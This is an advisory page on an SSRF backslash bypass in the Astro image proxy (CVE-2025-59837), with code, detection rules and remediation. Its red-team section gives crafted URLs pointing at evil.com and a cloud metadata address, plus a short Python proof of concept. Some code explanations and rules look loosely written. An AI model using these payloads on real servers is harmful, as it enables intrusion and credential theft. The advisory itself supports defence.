CVE-2025-59837
Executive Summary
CVE-2025-59837 is a Server-Side Request Forgery (SSRF) vulnerability in the Astro web framework's image proxy component, affecting versions 5.13.4 through 5.13.9. The vulnerability allows an attacker to bypass domain validation by using backslashes in the href parameter, enabling requests to arbitrary URLs from the server. This can lead to SSRF and potentially Cross-Site Scripting (XSS) if the proxy returns attacker-controlled content. The vulnerability is a bypass of an incomplete fix for CVE-2025-58179. The patch is available in version 5.13.10.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Astro is distributed via npm. The vulnerable package is astro. Organizations using Astro in their web applications should immediately update to version 5.13.10 or later. Since this is a server-side vulnerability, it poses a direct risk to the hosting infrastructure and internal network. Supply chain risk is moderate, as the vulnerability is in a core framework component and can be exploited without authentication.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The vulnerability is rated High due to the low complexity and no required privileges or user interaction. While individual impacts are Low, the combination of SSRF and potential XSS increases the overall risk.
Deep Dive & Mechanics
The Astro image proxy is designed to fetch and serve images from external sources, with a domain allowlist to prevent SSRF. The vulnerability arises from an incomplete fix for CVE-2025-58179. The original fix attempted to validate the domain in the href parameter, but it did not account for backslash characters (\). In many URL parsers, backslashes are treated as path separators or can be used to confuse domain validation logic.
An attacker can craft a URL like http://evil.com\@allowed-domain.com/path. The validation logic may see allowed-domain.com as the domain, but the actual request is made to evil.com. This bypass allows the server to make requests to arbitrary internal or external hosts.
The SSRF can be used to:
- Scan internal networks.
- Access cloud metadata endpoints (e.g.,
http://169.254.169.254/). - Fetch attacker-controlled content that may be rendered as an image, leading to XSS if the content type is not strictly validated.
Vulnerable vs. Patched Code
Vulnerable Code (5.13.4 - 5.13.9):
// Simplified vulnerable validation
function validateDomain(url) {
const parsed = new URL(url);
const allowedDomains = ['images.example.com', 'cdn.example.com'];
return allowedDomains.includes(parsed.hostname);
}
The above code does not handle backslashes. An attacker can use http://evil.com\@images.example.com/ which may parse hostname as images.example.com but the actual request goes to evil.com.
Patched Code (5.13.10):
// Patched validation
function validateDomain(url) {
// Normalize backslashes to forward slashes
const normalizedUrl = url.replace(/\\/g, '/');
const parsed = new URL(normalizedUrl);
const allowedDomains = ['images.example.com', 'cdn.example.com'];
return allowedDomains.includes(parsed.hostname);
}
The patch normalizes backslashes to forward slashes before parsing, preventing the bypass.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Astro instance (version 5.13.4 to 5.13.9) with the image proxy enabled.
- An attacker-controlled server to receive requests.
Exploit Steps:
- Identify the image proxy endpoint (e.g.,
/_astro/image). - Craft a malicious URL using backslashes to bypass domain validation:
http://target.com/_astro/image?href=http://evil.com\@allowed-domain.com/test.png - If successful, the server will make a request to
http://evil.com/. - For SSRF to internal resources:
http://target.com/_astro/image?href=http://169.254.169.254\@allowed-domain.com/latest/meta-data/ - For potential XSS, serve a response with
Content-Type: image/svg+xmlcontaining malicious JavaScript.
Proof of Concept (Python):
import requests
target = "http://target.com/_astro/image"
payload = "http://evil.com\\@allowed-domain.com/test.png"
response = requests.get(target, params={"href": payload})
print(response.status_code)
Blue Team
Detection:
- Monitor for requests to the image proxy with unusual characters in the
hrefparameter, especially backslashes. - Look for outbound connections from the Astro server to unexpected IPs or domains.
- Check for requests to cloud metadata IPs (169.254.169.254) or internal RFC 1918 addresses.
Hunting:
- Search logs for
hrefparameters containing\or%5c. - Correlate image proxy requests with outbound connections to new destinations.
Indicators of Compromise (IOCs)
- Network:
- Outbound requests from the Astro server to unexpected external IPs.
- Requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200).
- Requests to internal IPs (10.x.x.x, 172.16.x.x, 192.168.x.x).
- Logs:
- Image proxy access logs showing
hrefparameters with backslashes. - Error logs indicating failed domain validation attempts.
- Image proxy access logs showing
- Files:
- Unusual files in the server's temporary directory (if the proxy caches images).
Detection Engineering
YARA Rule
rule CVE_2025_59837_Astro_SSRF {
meta:
description = "Detects SSRF attempts against Astro image proxy using backslash bypass"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59837"
strings:
$backslash = "\\"
$href_param = "href="
$astro_path = "/_astro/image"
condition:
all of them
}
Sigma Rule
title: Astro Image Proxy SSRF Backslash Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against Astro image proxy using backslash bypass (CVE-2025-59837)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'href=*\\*'
- 'href=*%5c*'
cs-uri-stem|contains: '/_astro/image'
condition: selection
falsepositives:
- Legitimate use of backslashes in URLs (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-59837 Astro Image Proxy SSRF Backslash Bypass";
flow:to_server,established;
content:"/_astro/image"; http_uri;
content:"href="; http_uri;
pcre:"/href=[^&]*\\\/i";
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Update Astro to version 5.13.10 or later.
- If immediate update is not possible, disable the image proxy or restrict it to a specific allowlist of domains using a reverse proxy.
Long-term:
- Implement strict input validation and sanitization for all user-supplied URLs.
- Use a URL parser that properly handles backslashes and other special characters.
- Apply network segmentation to limit the impact of SSRF.
- Monitor for similar bypass techniques in future updates.
Workarounds:
- Use a Web Application Firewall (WAF) to block requests containing backslashes in the
hrefparameter. - Restrict outbound traffic from the Astro server to only necessary domains.
Valters IT